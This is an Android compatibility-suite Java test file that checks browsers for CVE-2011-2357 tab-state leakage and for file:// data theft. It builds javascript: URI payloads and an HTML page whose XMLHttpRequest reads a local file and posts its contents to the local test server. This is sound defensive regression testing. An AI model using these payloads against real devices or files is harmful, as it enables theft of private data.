1 /* 2 * Copyright (C) 2011 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts; 18 19 import android.content.ComponentName; 20 import android.content.Context; 21 import android.content.Intent; 22 import android.content.pm.PackageManager; 23 import android.content.pm.ResolveInfo; 24 import android.net.Uri; 25 import android.test.AndroidTestCase; 26 import android.webkit.cts.CtsTestServer; 27 28 import java.io.FileOutputStream; 29 import java.io.OutputStreamWriter; 30 import java.io.Writer; 31 import java.util.ArrayList; 32 import java.util.List; 33 import java.util.concurrent.atomic.AtomicInteger; 34 35 import org.apache.http.HttpEntity; 36 /** 37 * Test file for browser security issues. 38 */ 39 public class BrowserTest extends AndroidTestCase { 40 private CtsTestServer mWebServer; 41 42 @Override setUp()43 protected void setUp() throws Exception { 44 super.setUp(); 45 mWebServer = new CtsTestServer(mContext); 46 } 47 48 @Override tearDown()49 protected void tearDown() throws Exception { 50 mWebServer.shutdown(); 51 super.tearDown(); 52 } 53 54 /** 55 * Verify that no state is preserved across multiple intents sent 56 * to the browser when we reuse a browser tab. If such data is preserved, 57 * then browser is vulnerable to a data stealing attack. 58 * 59 * In this test, we send two intents to the Android browser. The first 60 * intent sets document.b2 to 1. The second intent attempts to read 61 * document.b2. If the read is successful, then state was preserved 62 * across the two intents. 63 * 64 * If state is preserved across browser tabs, we ask 65 * the browser to send an HTTP request to our local server. 66 * 67 * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for 68 * vulnerability information for this test case. 69 * 70 * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and 71 * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability. 72 */ testTabReuse()73 public void testTabReuse() throws InterruptedException { 74 List<Intent> intents = getAllJavascriptIntents(); 75 for (Intent i : intents) { 76 mContext.startActivity(i); 77 mContext.startActivity(i); 78 79 /* 80 * Wait 5 seconds for the browser to contact the server, but 81 * fail fast if we detect the bug 82 */ 83 for (int j = 0; j < 5; j++) { 84 assertEquals("javascript handler preserves state across " 85 + "multiple intents. Vulnerable to CVE-2011-2357?", 86 0, mWebServer.getRequestCount()); 87 Thread.sleep(1000); 88 } 89 } 90 } 91 92 /** 93 * Verify that no state is preserved across multiple intents sent 94 * to the browser when we run out of usable browser tabs. If such data is 95 * preserved, then browser is vulnerable to a data stealing attack. 96 * 97 * In this test, we send 20 intents to the Android browser. Each 98 * intent sets the variable "document.b1" equal to 1. If we are able 99 * read document.b1 in subsequent invocations of the intent, then 100 * we know state was preserved. In that case, we send a message 101 * to the local server, recording this fact. 102 * 103 * Our test fails if the local server ever receives an HTTP request. 104 * 105 * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for 106 * vulnerability information this test case. 107 * 108 * See commits 096bae248453abe83cbb2e5a2c744bd62cdb620b and 109 * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability. 110 */ testTabExhaustion()111 public void testTabExhaustion() throws InterruptedException { 112 List<Intent> intents = getAllJavascriptIntents(); 113 for (Intent i : intents) { 114 i.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT); 115 116 /* 117 * Send 20 intents. 20 is greater than the maximum number 118 * of tabs allowed by the Android browser. 119 */ 120 for (int j = 0; j < 20; j++) { 121 mContext.startActivity(i); 122 } 123 124 /* 125 * Wait 5 seconds for the browser to contact the server, but 126 * fail fast if we detect the bug 127 */ 128 for (int j = 0; j < 5; j++) { 129 assertEquals("javascript handler preserves state across " 130 + "multiple intents. Vulnerable to CVE-2011-2357?", 131 0, mWebServer.getRequestCount()); 132 Thread.sleep(1000); 133 } 134 } 135 } 136 137 /** 138 * See Bug 6212665 for detailed information about this issue. 139 */ testBrowserPrivateDataAccess()140 public void testBrowserPrivateDataAccess() throws Throwable { 141 142 // Create a list of all intents for http display. This includes all browsers. 143 List<Intent> intents = createAllIntents(Uri.parse("http://www.google.com")); 144 String action = "\"" + mWebServer.getBaseUri() + "/\""; 145 // test each browser 146 for (Intent intent : intents) { 147 // reset state 148 mWebServer.resetRequestState(); 149 // define target file, which is supposedly protected from this app 150 String targetFile = "file://" + getTargetFilePath(); 151 String html = 152 "<html><body>\n" + 153 " <form name=\"myform\" action=" + action + " method=\"post\">\n" + 154 " <input type='text' name='val'/>\n" + 155 " <a href=\"javascript :submitform()\">Search</a></form>\n" + 156 "<script>\n" + 157 " var client = new XMLHttpRequest();\n" + 158 " client.open('GET', '" + targetFile + "');\n" + 159 " client.onreadystatechange = function() {\n" + 160 " if(client.readyState == 4) {\n" + 161 " myform.val.value = client.responseText;\n" + 162 " document.myform.submit(); \n" + 163 " }}\n" + 164 " client.send();\n" + 165 "</script></body></html>\n"; 166 String filename = "jsfileaccess.html"; 167 // create a local HTML to access protected file 168 FileOutputStream out = mContext.openFileOutput(filename, 169 mContext.MODE_WORLD_READABLE); 170 Writer writer = new OutputStreamWriter(out, "UTF-8"); 171 writer.write(html); 172 writer.flush(); 173 writer.close(); 174 175 String filepath = mContext.getFileStreamPath(filename).getAbsolutePath(); 176 Uri uri = Uri.parse("file://" + filepath); 177 // do a file request 178 intent.setData(uri); 179 mContext.startActivity(intent); 180 /* 181 * Wait 5 seconds for the browser to contact the server, but 182 * fail fast if we detect the bug 183 */ 184 for (int j = 0; j < 5; j++) { 185 // it seems that even when cross-origin policy prevents a file 186 // access, browser is still doing a POST sometimes, but it just 187 // sends the query part and no private data. Make sure this does not 188 // cause a false alarm. 189 if (mWebServer.getRequestEntities().size() > 0) { 190 int len = 0; 191 for (HttpEntity entity : mWebServer.getRequestEntities()) { 192 len += entity.getContentLength(); 193 } 194 final int queryLen = "val=".length(); 195 assertTrue("Failed preventing access to private data", len <= queryLen); 196 } 197 Thread.sleep(1000); 198 } 199 } 200 } 201 getTargetFilePath()202 private String getTargetFilePath() throws Exception { 203 FileOutputStream out = mContext.openFileOutput("target.txt", 204 mContext.MODE_WORLD_READABLE); 205 Writer writer = new OutputStreamWriter(out, "UTF-8"); 206 writer.write("testing"); 207 writer.flush(); 208 writer.close(); 209 return mContext.getFileStreamPath("target.txt").getAbsolutePath(); 210 } 211 212 /** 213 * This method returns a List of explicit Intents for all programs 214 * which handle javascript URIs. 215 */ getAllJavascriptIntents()216 private List<Intent> getAllJavascriptIntents() { 217 String localServerUri = mWebServer.getBaseUri(); 218 String varName = "document.b" + System.currentTimeMillis(); 219 220 /* 221 * Build a javascript URL containing the following (without spaces and newlines) 222 * <code> 223 * if (document.b12345 == 1) { 224 * document.location = "http://localhost:1234/"; 225 * } 226 * document.b12345 = 1; 227 * </code> 228 */ 229 String javascript = "javascript:if(" + varName + "==1){" 230 + "document.location=\"" + localServerUri + "\"" 231 + "};" 232 + varName + "=1"; 233 234 return createAllIntents(Uri.parse(javascript)); 235 } 236 237 /** 238 * Create intents for all activities that can display the given URI. 239 */ createAllIntents(Uri uri)240 private List<Intent> createAllIntents(Uri uri) { 241 242 Intent implicit = new Intent(Intent.ACTION_VIEW); 243 implicit.setData(uri); 244 245 /* convert our implicit Intent into multiple explicit Intents */ 246 List<Intent> retval = new ArrayList<Intent>(); 247 PackageManager pm = mContext.getPackageManager(); 248 List<ResolveInfo> list = pm.queryIntentActivities(implicit, PackageManager.GET_META_DATA); 249 for (ResolveInfo i : list) { 250 Intent explicit = new Intent(Intent.ACTION_VIEW); 251 explicit.setClassName(i.activityInfo.packageName, i.activityInfo.name); 252 explicit.setData(uri); 253 explicit.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 254 retval.add(explicit); 255 } 256 257 return retval; 258 } 259 } 260